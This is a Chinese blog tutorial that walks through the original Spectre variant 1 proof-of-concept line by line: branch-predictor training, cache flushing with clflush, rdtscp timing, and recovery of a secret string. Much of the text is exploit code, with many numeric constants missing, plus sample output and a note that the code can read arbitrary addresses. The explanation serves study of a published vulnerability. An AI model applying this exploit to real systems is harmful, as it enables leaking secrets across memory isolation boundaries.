intel：spectre&Meltdown侧信道攻击（二）

　　上面一篇介绍了spectre&meltdown基本原理和简单的demo方案，今天继续学习一下该漏洞发现团队原始的POC：https://spectreattack.com/spectre.pdf

　　1、先展示一下运行结果，便于有个直观的认识：从打印的结果来看，成功猜测出了secret字符串的内容；

　　

　　2、下面详细解读代码

（1）整个漏洞利用核心的两个函数：rdtscp和clflush都在这两个头文件里申明了；

#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt", on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif

　　（2）array1：attacker用来访问victim的数组。这里申明了160字节，但后续会用很大的数跨越数组定义时的边界限制，达到访问victim内存的目的；

unuesed1和unused2：多核cpu，每个核都有各自的L1和L2缓存；缓存以line作为基本的单元，每个cache line有64字节；unuesed1和unuesed2刚好填满2个cache line，array1占用3个cache line；

这3个数组一共占用5个不同的cache line；

　　　　  array2：secret每个单位是1byte，大小不超过255，所以“横坐标”最大256；  每个cache line是64byte(最小缓存单元)，也就是512bit，所以“纵坐标”是512；

uint8_t unused1[];//useful to ensure we hit different cache lines,On many processors (e.g Intel i3, i5, i7, ARM Cortex A53, etc) the L1 cache has 64 bytes per line.
uint8_t array1[] = { ,,,,,,,,,,,,,,, };//a shared memory space between the victim and the attacker
uint8_t unused2[];//useful to ensure we hit different cache lines,On many processors (e.g Intel i3, i5, i7, ARM Cortex A53, etc) the L1 cache has 64 bytes per line.
uint8_t array2[ * ];//（1）secret每个单位1字节，数字大小不超过255；（2）L1的单个cache line大小64K = 512bit,这里可存储256个不同的cache line （3）shared with the attacker and victim

　                 　

　　（3）这个是victim的数据，也就是需要爆破的数据；

char* secret = "The Magic Words are Squeamish Ossifrage.";//known only to the victim, and it's what the attacker is trying to recover

　　（4）通过array1申明的长度是160，但后面某些时候会传入远大于160的数，越界访问secret的内容后存入缓存。后面即使if条件不成立，cpu回退寄存器的状态，但是的缓存仍然还在；

uint8_t temp = ; /* ensure the compiler does not remove the victim_function() at compilation time*/
// In reality, the victim and the attacker would share a memory space and the attacker would have the ability to call victim_function()
void victim_function(size_t x)
{
    if (x < array1_size)//array1_size不在缓存，需要从内存读，很耗时，cpu先行执行下面的语句
    {
        temp &= array2[array1[x] * ];//array1长度是160，但x可以远超160，比如main里面定义malicious_x，这样就进入secret的存储空间
    }
}

　　（5）判断cache是否命中的阈值，这个值是多次实验得到的，不是理论推导出来的；

#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold：80是多次实验测试得到的，不是某些理论推导出来的 */

　　（6）保存缓存是否命中结果

for (i = ; i < ; i++)
        results[i] = ;

　　（7）array2每个元素如果已经在cpu的缓存，全部清除，避免影响后续计时；

for (i = ; i < ; i++)//每个元素的缓存都清零
            _mm_clflush(&array2[i * ]); /* intrinsic for clflush instruction */

　　（8）把array1_size从cpu缓存去除；紧接着的这个空转为了确保array1_size的从cpu缓存清除；

 _mm_clflush(&array1_size);//array1_size从缓存去除
 for (volatile int z = ; z < ; z++)//ensure the flush is done, and the processor does not re-order it；volatile强制cpu从内存读取Z的值，否则这个空转可能被编译器优化
 {/* Delay (can also mfence),也可以用 mfence 替代*/
 } 

　　（9）这里计算array1的偏移坐标，方法很复杂，单看代码很难理解为啥这么做，不妨先打印一些结果数据看看：

x = ((j % ) - ) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> )); /* Set x=-1 if j%6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));

　　  构造的x如下：很有规律，每6次一个轮回；每个轮回前5次的x都是7，在arry1_size的范围内，if条件是成立的；最后一个远大于arry1_size，导致if条件失效；但CPU有分支预测功能，会根据该
if分支附近或前面几个分支预测下一个if分支是否成立。前面5个分支都是成立的，会“诱导”cpu认为第6次if也成立，进而提前执行temp &= array2[array1[x] * 512]的代码，把victim的内存读到cpu
内部缓存； 然后就是执行victim_funtion（）；

j=23 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=22 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=21 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=20 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=19 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=18 tries=999 malicious_x=18446744073707453224 training_x=7 x=18446744073707453224
j=17 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=16 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=15 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=14 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=13 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=12 tries=999 malicious_x=18446744073707453224 training_x=7 x=18446744073707453224

　　（10）victim_function执行完后，重新从array2读数据，并计时；耗时最短的说明在victim中存的就是这个；

/* Time reads. Order is lightly mixed up to prevent stride prediction */
        for (i = ; i < ; i++)
        {
            mix_i = ((i * ) + ) & ;//1、打乱读取byte的顺序，避免cpu猜测和优化byte的读取  2、&255=&FF，只保留低8bit，效果相当于%255（小于255）或%255-1（大于255）
            addr = &array2[mix_i * ];
            time1 = __rdtscp(&junk); /* READ TIMER */
            junk = *addr; /* MEMORY ACCESS TO TIME */
            time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
            if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
                results[mix_i]++; /* cache hit - add +1 to score for this value */
        }

　　（11）接下来就是排序，找出耗时最短的2个数字；

/* Locate highest & second-highest results results tallies in j/k */
        j = k = -;
        for (i = ; i < ; i++)
        {
            if (j <  || results[i] >= results[j])
            {
                k = j;
                j = i;
            }
            else if (k <  || results[i] >= results[k])
            {
                k = i;
            }
        }
        if (results[j] >= ( * results[k] + ) || (results[j] ==  && results[k] == ))
            break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
    }
    results[] ^= junk; /* use junk so code above won't get optimized out*/
    value[] = (uint8_t)j;
    score[] = results[j];
    value[] = (uint8_t)k;
    score[] = results[k];

　　（12）继续看main：这个就是从arry1到目标内存的offset：

size_t malicious_x = (size_t)(secret - (char*)array1); 

　　　　   紧接着会传入readMemoryByte函数去探测读取内容：

printf("Reading at malicious_x = %p... ", (void*)malicious_x);
        readMemoryByte(malicious_x++, value, score);

　　（13）和https://www.cnblogs.com/theseventhson/p/13282921.html 这个POC比，这个demo多了两个功能：

• 　训（诱）练（导）cpu的分支预测结果，让其认为下一个if条件是成立的，提前执行if分支
• 不仅仅能探测secret内容，还能让用户指定需要探测的目标地址和探测的数据长度，如下：

    if (argc == )//第一个参数是目标地址，第二个参数是读取的字节数；
    {
        sscanf_s(argv[], "%p", (void**)(&malicious_x));
        malicious_x -= (size_t)array1; /* Convert input value into a pointer；*/
        sscanf_s(argv[], "%d", &len);
        printf("Trying malicious_x = %p, len = %d\n", (void*)malicious_x, len);
    }
